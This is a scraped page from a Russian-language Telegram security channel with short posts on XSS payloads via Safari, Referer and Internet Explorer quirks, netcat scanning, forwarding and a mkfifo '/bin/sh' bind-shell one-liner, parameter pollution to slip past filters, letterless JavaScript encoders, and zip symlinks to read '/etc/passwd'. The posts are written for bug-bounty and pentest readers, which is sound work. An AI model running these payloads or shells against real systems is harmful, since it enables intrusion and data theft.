Telegram Web Link
Забавно, что в браузере Safari символ ; может восприниматься как =

<script>
location.href;'javascript:alert%281%29'
</script>


#xss #safari
XSS атаки с помощью Referer'а

Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:

' в %27
" в %22
< и > в %3C и %3E соответственно.

Поэтому если сайт тупо вставляет содержимое заголовка Referer не декодируя ссылку, то с этим все сложно.

Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.

С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.

Для этого достаточно создать html страничку с подобным содержимым:


<script>
window.history.replaceState('', '', "/hello'-alert()-'/");
location.href="//vulnerabledomain/"
</script>


#xss #referer
Кавычка
XSS атаки с помощью Referer'а Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:…
Более того, Internet Explorer - имеет забавную особенность, если перенаправить пользователя с помощью заголовка
Location: http://mysite/"><script>alert()</script>/, то путь также не будет преобразовываться в urlencode.
Может кому-то пригодится в bugbounty :)

#xss #bugbounty
Кавычка
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером. Для того,…
Дополнение от Heartless'а.

Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.

Проверка наличия открытого TCP-порта 12345

MacOS $ nc -v -G2 192.168.1.100 12345
Linux $ nc -v -w2 192.168.1.100 12345


Сканирование TCP-портов с помощью netcat:

MacOS $ nc -G2 -vz 192.168.1.100 20-24
Linux $ nc -w2 -vz 192.168.1.100 20-24


Отправка UDP:

$ echo -n "foo" | nc -u -w1 192.168.1.100 161


Прием данных на UDP-порту и вывод принятых данных:

$ nc -v -u localhost 7777


После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать nc -lkv 0 7777

Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0 1234 > /tmp/f 

А также "ncat -e"

Перенаправление портов

MacOS $ nc 127.0.0.1 22 <&1 | nc -lvk 3333 >&0
Linux $ mkfifo /tmp/bp; nc -lvk 12345 0</tmp/bp | nc 127.0.0.1 22 1>/tmp/bp


И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
Помнишь что такое Http Parameter Pollution?
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра id на страницу:

site.com/page.asp?id=AA

На странице покажет

<input name="id" value="AA">


А если передадим несколько параметров с одним именем

site.com/page.asp?id=AA&id=BB&id=CC


На страницу попадет
<input name="id" value="AA, BB, CC">


Так о чем это я
В ASP/ASP.NET часто бывает, что фильтрация пользовательских данных происходит только в первом элементе, поэтому важно попробовать дублировать параметры запроса и передавать атакующие пэйлоады уже туда.
Еще нет такого плагина для burp suite? 🤔

#XSS #IIS #ASP
Используем (костыли) виртуалку (назовем ее proxyhost) для доступа в интернет с удаленной машины за натом.

На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
ssh proxyhost -R 2222:localhost:22

Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.

На клиенте (кому интернет), пишем следующее заклинание:
ssh -t -L 8888:localhost:8888 proxyhost ssh guest@localhost -p 2222 -D 8888

Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).

В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).
This media is not supported in your browser
VIEW IN TELEGRAM
В burp suite обнаружена уязвимость выполнения произвольного кода. Ты пытаешься атаковать сайт, а сайт атакует тебя)
Невероятно, но факт: hh.ru сканирует локальные порты. Глупышки, зачем стучаться на 22 порт, Chrome вернет ERR_UNSAFE_PORT
Полезные плагины для Chrome

Vulners Web Scanner
Сканер уязвимостей на основе версий используемого софта на сайте
https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd

HTML5 Storage Manager All in One
Позволяет редактировать Cookie, Local Storage и indexedDB сайтов
https://chrome.google.com/webstore/detail/html5-storage-manager-all/giompennnhheakjcnobejbnjgbbkmdnd

Chrome HTTP Monitor
Показывает заголовки и время загрузки сайта
https://chrome.google.com/webstore/detail/chrome-http-monitor/maceikgnmfpfbciilpapjdogebnanahg

Wappalyzer
Определяет используемые на сайте CMS, JS библиотеки. Не забудь отключить анонимную стучалку в настройках
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg

Shodan
Удобен тем, что позволяет посмотреть не только открытые порты, но и страну и организацию ip домена
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap

Clickjacking Test
Ничего сложного, просто открывает сайт в фрейме и позволяет сгенерить простой PoC для сайтов без X-Frame-Options
https://chrome.google.com/webstore/detail/clickjacking-test/bjhigladkmnpmglhcnpeiplekpanekpi

FoxyProxy Basic
Создаешь профили с различными настройками прокси и быстро переключаешься между ними
https://chrome.google.com/webstore/detail/foxyproxy-basic/dookpfaalaaappcdneeahomimbllocnb
Забавная смесь логических ошибок превращается в обход SOP браузера. Заходишь по ссылке - данные любых сайтов улетают злоумышленнику (UXSS). Обновляйтесь!

https://github.com/Bo0oM/CVE-2017-7089
Многие тулзы, например nmap, требуют рута для нормальной работы. Но если тебе надоело писать каждый раз sudo и не хочется раскидываться suid'ами, то можно воспользоваться linux capabilities и выдать только определённые привилегии.

Для Nmap надо выставить следующие :
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
и добавить в переменные окружения (в ~/.bashrc, например):
export NMAP_PRIVILEGED=""

Для ncat требуется:
sudo setcap cap_net_bind_service+eip /usr/bin/ncat

Для Wireshark:
setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap
Плюс возможно добавить прав на исполнение:
sudo chmod o+x /usr/bin/dumpcap

После этого тулзы можно запускать без sudo, под обычным юзером
Кавычка
Предательство Safari. Чтение локальных файлов с дальнейшей отправкой на сервер помощью html документа. https://xakep.ru/2017/07/06/safari-localfile-read/ https://github.com/Bo0oM/Safiler
Помните, как мы пробовали читать локальные файлы в Safari?
Оказывается, есть еще одна особенность этого замечательного браузера! Если файл скачан из интернета - читать файлы напрямую нельзя. Но не совсем. Ведь скачанным файлом можно создать еще один html файл (который появится рядом с оригинальным) и открыть на него фрейм!
Вот демонстрация эксплойта, в котором пользователю отдается html файл, если открыть его в Safari, будет попытка слить всякие логины/пароли на локальные сервер (в консоле будут соответствующие ошибки, а если запустить оригинальный python сервер, файлы появятся в соответствующей папке).

Демонстрация:
https://bo0om.ru/safari_poc/
Любую функцию javascript можно выполнить без использования каких-либо букв.

1) http://utf-8.jp/public/jjencode.html
Позволяет генерировать функции из спецсимволов.

2) http://www.jsfuck.com/
Если количество используемых символов ограничено (например не пускает \ ) jsfuck позволяет создать пэйлоад с использованием только символов ()+[]!.

3) https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
А когда запрещено использовать скобки, поможет этот ресурс. Он может преобразовать js в последовательность сиволов [+|>].

Единственный минус - вектор становится большим. Если в jjencode alert() - 524 символа, в jsfuck становится размером в 1219 символов, то в 5chars он становится просто огромным - 61827 символов.
Дали две CVE через... Twitter
https://nvd.nist.gov/vuln/detail/CVE-2017-5246
https://nvd.nist.gov/vuln/detail/CVE-2017-5247

А что, так можно было?
@GeoPhotoBot
Поиск фотографий из соцсетей по геопозиции или по ссылке на Яндекс (Google) карте.
Вжух - стартует ZeroNights HackQuest 2017!
Ссылка как обычно - hackquest.zeronights.org

Первый день начнется с легкого и логически понятного веба (не зря таск называется webpwn), я уверен, что ты справишься %username%.
В операционных системах существуют символический ссылки. Это специальные файлы, в которых вместо собственных данных ссылка на содержимое другого файла.
Чтобы создать такую ссылку в unix - достаточно ввести команду
ln -s /etc/passwd myfile

Теперь, обращаясь к файлу myfile - мы будем обращаться к файлу passwd.

Такую ссылку можно запаковать (например утилитой zip с аргументом --symlinks) и если веб-приложение будет работать с архивами, есть вероятность, что обрабатывать она будет собственные файлы, ссылки на которые были в архиве. Тем самым возможно читать локальные файлы или добиться отказа в обслуживании.

Интересно, а кто-то уже догадался добавлять симлинки в docx 🤔?
2025/07/07 13:12:23
Back to Top
HTML Embed Code: